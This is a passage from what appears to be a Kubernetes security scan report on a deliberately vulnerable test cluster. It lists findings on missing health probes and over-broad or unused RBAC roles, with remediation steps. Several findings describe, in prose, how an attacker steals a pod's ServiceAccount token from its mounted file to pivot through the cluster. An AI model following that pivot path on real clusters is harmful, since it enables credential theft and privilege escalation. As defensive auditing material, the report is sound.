  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/root-runner Workload 3.5
Container app in Deployment/vulnerable/root-runner has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Defense Evasion Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/root-runner deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/socket-mounts-app Workload 3.5
Container app in Deployment/vulnerable/socket-mounts-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Defense Evasion Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in Deployment/vulnerable/socket-mounts-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/socket-mounts-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/local-path-storage/local-path-provisioner Workload 3.5
Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Defense Evasion Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/local-path-provisioner deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container local-path-provisioner and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerlocal-path-provisioner
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "local-path-provisioner",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/secrets-bundle/cross-ns-consumer Workload 3.5
Container pause in Deployment/secrets-bundle/cross-ns-consumer has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Defense Evasion Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in Deployment/secrets-bundle/cross-ns-consumer does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/cross-ns-consumer deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container pause and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerpause
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "pause",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}

Leastprivilege

10 findings · 3 rules · 0 critical · 0 high · 9 medium · 1 low
MEDIUM

Role r-lp-wildcard grants verbs: ["*"] to ServiceAccount lp-fixtures/sa-lp-wildcard, only a subset is used

KUBE-RBAC-WILDCARD-USED-PARTIAL-001 1 subject Score 5.5

Affected subject

MEDIUM ServiceAccount/lp-fixtures/sa-lp-wildcard Namespace 5.5
Role r-lp-wildcard grants verbs: ["*"] to ServiceAccount lp-fixtures/sa-lp-wildcard, only a subset is used
Scope · Namespace Namespace lp-fixtures
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: Role/r-lp-wildcard

Over 30 days (2026-05-23 → 2026-06-22, 3 events), ServiceAccount lp-fixtures/sa-lp-wildcard exercised a narrow subset of the wildcard verbs: ["*"] grants in r-lp-wildcard:

- secrets (apiGroup core) observed: get

The wildcard implicitly includes create, update, patch, delete, deletecollection, bind, escalate, impersonate, and any future verb Kubernetes introduces. Replacing the wildcard with the observed verb set shrinks blast radius without affecting known behavior.

Impact Wildcard verbs grant whatever Kubernetes invents next, including verbs designed for cluster-admin operations the workload should never perform.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

Remediation
Replace verbs: ["*"] in r-lp-wildcard with the observed verb set.
  1. Verify the observation window covers rare administrative actions (monthly cleanup, post-incident recovery).
  2. Apply the narrower Role shown in the snippet below.
  3. Re-scan after the change to confirm no UNUSED-VERB findings emerge: those would indicate the new verb list is itself broader than the workload needs.
Evidence
Source roler-lp-wildcard
Inspect: kubectl get clusterrole r-lp-wildcard -o yaml
events_processed
3
suggested_role_yaml
"apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole  # or Role, matching the existing definition\nmetadata:\n  name: r-lp-wildcard-narrowed\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"secrets\"]\n    verbs: [\"get\"]\n"
wildcards
[
  {
    "api_group": "",
    "observed_verbs": [
      "get"
    ],
    "resource": "secrets"
  }
]
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "source_role": "r-lp-wildcard",
  "suggested_role_yaml": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole  # or Role, matching the existing definition\nmetadata:\n  name: r-lp-wildcard-narrowed\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"secrets\"]\n    verbs: [\"get\"]\n",
  "wildcards": [
    {
      "api_group": "",
      "observed_verbs": [
        "get"
      ],
      "resource": "secrets"
    }
  ],
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
MEDIUM

Role cm-reader granted to ServiceAccount vulnerable/default but never exercised

KUBE-RBAC-UNUSED-ROLE-001 8 subjects Score 5.0

Affected subjects (8)

MEDIUM ServiceAccount/vulnerable/default Namespace 5.0
Role cm-reader granted to ServiceAccount vulnerable/default but never exercised
Scope · Namespace Namespace vulnerable
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Role/cm-reader

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount vulnerable/default. The Role cm-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cm-reader even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount vulnerable/default (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount vulnerable/default.
  3. Attacker uses the token to invoke every API grant in cm-reader - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cm-reader to ServiceAccount vulnerable/default, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cm-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecm-reader
Inspect: kubectl get clusterrole cm-reader -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cm-reader",
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
MEDIUM ServiceAccount/csr-fixtures/sa-csr-mint Namespace 5.0
Role cr-csr-mint granted to ServiceAccount csr-fixtures/sa-csr-mint but never exercised
Scope · Namespace Namespace csr-fixtures
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint Resource: ClusterRole/cr-csr-mint

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount csr-fixtures/sa-csr-mint. The Role cr-csr-mint is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-csr-mint even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount csr-fixtures/sa-csr-mint (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount csr-fixtures/sa-csr-mint.
  3. Attacker uses the token to invoke every API grant in cr-csr-mint - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-csr-mint to ServiceAccount csr-fixtures/sa-csr-mint, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-csr-mint") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-csr-mint
Inspect: kubectl get clusterrole cr-csr-mint -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-csr-mint",
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
MEDIUM ServiceAccount/rbac-fixtures/sa-impersonate Namespace 5.0
Role cr-impersonate granted to ServiceAccount rbac-fixtures/sa-impersonate but never exercised
Scope · Namespace Namespace rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate Resource: ClusterRole/cr-impersonate

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-impersonate. The Role cr-impersonate is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-impersonate even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount rbac-fixtures/sa-impersonate (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount rbac-fixtures/sa-impersonate.
  3. Attacker uses the token to invoke every API grant in cr-impersonate - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-impersonate to ServiceAccount rbac-fixtures/sa-impersonate, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-impersonate") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-impersonate
Inspect: kubectl get clusterrole cr-impersonate -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-impersonate",
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
MEDIUM ServiceAccount/rbac-fixtures/sa-pod-create Namespace 5.0
Role cr-pod-create granted to ServiceAccount rbac-fixtures/sa-pod-create but never exercised
Scope · Namespace Namespace rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: ClusterRole/cr-pod-create

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-pod-create. The Role cr-pod-create is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-pod-create even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount rbac-fixtures/sa-pod-create (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount rbac-fixtures/sa-pod-create.
  3. Attacker uses the token to invoke every API grant in cr-pod-create - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-pod-create to ServiceAccount rbac-fixtures/sa-pod-create, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-pod-create") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-pod-create
Inspect: kubectl get clusterrole cr-pod-create -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-pod-create",
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
MEDIUM ServiceAccount/rbac-fixtures/sa-wildcard Namespace 5.0
Role cr-wildcard granted to ServiceAccount rbac-fixtures/sa-wildcard but never exercised
Scope · Namespace Namespace rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: ClusterRole/cr-wildcard

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-wildcard. The Role cr-wildcard is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-wildcard even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount rbac-fixtures/sa-wildcard (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount rbac-fixtures/sa-wildcard.
  3. Attacker uses the token to invoke every API grant in cr-wildcard - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-wildcard to ServiceAccount rbac-fixtures/sa-wildcard, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-wildcard") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
